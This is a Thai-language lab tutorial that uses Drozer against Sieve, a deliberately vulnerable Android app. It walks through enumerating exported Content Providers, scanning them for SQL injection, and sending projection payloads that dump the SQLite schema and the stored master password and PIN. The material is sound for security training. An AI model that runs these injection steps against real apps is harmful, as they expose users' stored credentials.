How to exploit SQL Injection via “Content Provider” using Drozer – Sieve

บทนำ (Overview)

“Content Provider” นั้นใช้จัดการข้อมูลและส่วนที่นิยมกันคือติดต่อกับฐานข้อมูล “SQLite” ซึ่งเป็นฐานข้อมูลขนาดเล็กเหมาะสำหรับเครื่อง “Smart Phone” เมื่อเราสามารถเข้า “Content Provider” ก็เป็นไปได้ว่าอาจจะมีช่องโหว่เกี่ยวกับ “SQL injection” ทำให้สามารถเข้าข้อมูลในตารางอื่น ๆ ที่ถูกจำกัดเอาไว้ได้ บทความนี้นำเสนอวิธีการโจมตีช่องโหว่ “Content Provider” โดยใช้วิธีการ “SQL injection” ผ่านโปรแกรม “Drozer”

ขั้นตอน (Steps)

  1. ติดตั้งโปรแกรม “Sieve” บทเครื่องAndroid หรือ Emulator (How to install sieve.apk on Genymotion Emulator)
  2. ตั้งรหัสผ่าน แล้วกดปุ่ม “Submit”sieve-04
  3. จากนั้นตั้งค่า “PIN” แล้ว “Submit” sieve-05
  4. เมื่อเสร็จสิ้นให้ “Sign-in” โดย “password” ที่ตั้งครั้งแรก sieve-06
  5. ให้กดปุ่ม + เพื่อเพิ่มรหัสผ่านใหม่ sieve-07
  6. กรอกข้อมูลแล้วกดปุ่ม “Save” sieve-08
  7. ข้อมูลจะถูกเพิ่มขึ้นเรื่อย ๆ sieve-09
  8. ติดตั้งและตั้งค่าสำหรับโปรแกรม “Drozer” (How to set Drozer)
  9. เรียกใช้ Drozer console
    //Forward port เพื่อเชื่อมต่อโปรแกรม Drozer บน Emulator หรือ Device
    C:\Users\[user]\Desktop
    λ adb forward tcp:31415 tcp:31415
       
    //เรียกใช้งาน Drozer console
    C:\Users\[user]\Desktop
    λ drozer console connect
    
  10. ตรวจสอบชื่อ “package” โดยใช้คำสั่งค้นหา
    //ทดลองเดาชื่อโปรแกรม หรือคำอื่น ๆ เพื่อช่วยในการค้นหา
    dz> run app.package.list -f sieve
    com.mwr.example.sieve (Sieve)
    
  11. จากนั้นไปหายอดสรุปก่อนว่า “Component” มีเปิด “Exported” อยู่หรือไม่
    //จากตัวอย่างพบว่ามี Content providers เปิดอยู่ 2 component
    dz> run app.package.attacksurface com.mwr.example.sieve
    Attack Surface:
      3 activities exported
      0 broadcast receivers exported
      2 content providers exported
      2 services exported
        is debuggable
    
  12. เมื่อทราบว่ามี “Content Provider” เปิด “Exported” เราจะตรวจสอบรายละเอียดกัน
    dz> run app.provider.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
      Authority: com.mwr.example.sieve.DBContentProvider
        Read Permission: null
        Write Permission: null
        Content Provider: com.mwr.example.sieve.DBContentProvider
        Multiprocess Allowed: True
        Grant Uri Permissions: False
        Path Permissions:
          Path: /Keys
            Type: PATTERN_LITERAL
            Read Permission: com.mwr.example.sieve.READ_KEYS
            Write Permission: com.mwr.example.sieve.WRITE_KEYS
      Authority: com.mwr.example.sieve.FileBackupProvider
        Read Permission: null
        Write Permission: null
        Content Provider: com.mwr.example.sieve.FileBackupProvider
        Multiprocess Allowed: True
        Grant Uri Permissions: False
    
  13. จากตัวอย่างพบว่ามี 2 “Component” ชื่อ “DBContentProvider” และ “FileBackupProvider” ไม่ต้องการ “Permission” ใด ๆ เป็นพิเศษยกเว้น “/Keys path” ใน “component” ของ “DBContentProvider”
  14. เราจะตรวจสอบ “URIs” ที่สามารถเข้าถึง “Content Providers” ได้
    dz> run scanner.provider.finduris -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Unable to Query  content://com.mwr.example.sieve.DBContentProvider/
    Unable to Query  content://com.mwr.example.sieve.FileBackupProvider/
    Unable to Query  content://com.mwr.example.sieve.DBContentProvider
    Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords/
    Able to Query    content://com.mwr.example.sieve.DBContentProvider/Keys/
    Unable to Query  content://com.mwr.example.sieve.FileBackupProvider
    Able to Query    content://com.mwr.example.sieve.DBContentProvider/Passwords
    Unable to Query  content://com.mwr.example.sieve.DBContentProvider/Keys
     
    Accessible content URIs:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    
  15. เราสามารถตรวจสอบว่าโปรแกรมมีช่อง “SQL injection” โดยเรียกผ่าน “Content Provider” ที่สามารถเข้าได้หรือไม่ โดยใช้คำสั่ง
    dz> run scanner.provider.injection -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Not Vulnerable:
      content://com.mwr.example.sieve.DBContentProvider/Keys
      content://com.mwr.example.sieve.DBContentProvider/
      content://com.mwr.example.sieve.FileBackupProvider/
      content://com.mwr.example.sieve.DBContentProvider
      content://com.mwr.example.sieve.FileBackupProvider
    
    Injection in Projection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    
    Injection in Selection:
      content://com.mwr.example.sieve.DBContentProvider/Keys/
      content://com.mwr.example.sieve.DBContentProvider/Passwords
      content://com.mwr.example.sieve.DBContentProvider/Passwords/
    
  16. จากผลข้างต้นเราสามารถทำ “SQL injection” โดยใช้ “Projection” และ “Selection” ส่งผ่านคำสั่งไปยัง “Content Providers” ซึ่ง “Projection” และ “Selection” แตกต่างกันดังนี้
    Projection: คำสั่งจะต่อท้าย Select

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"
    unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' FROM Passwords
    

    Selection: คำสั่งจะต่อท้ายชื่อ Table

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwo
    rds/ --selection "'"                                                               
    unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE
     (')                                                                               
    
  17. เราสามารถ “SQL Injection” โดยเรียกตารางของระบบ หรือ ตารางอื่น ๆ ที่มีอยู่ในฐานข้อมูลดังนี้
    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    | type  | name             | tbl_name         | rootpage | sql
                                                                             |
    | table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)                                                      |
    | table | Passwords        | Passwords        | 4        | CREATE TABLE Passwords (_id INTEGER PRIMARY KEY,service TEXT,username TEXT,password BLOB,email ) |
    | table | Key              | Key              | 5        | CREATE TABLE Key (Password TEXT PRIMARY KEY,pin TEXT )                                           |
    
    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
    | Password         | pin  |
    | 1234567812345678 | 1234 |
    

 

ใส่ความเห็น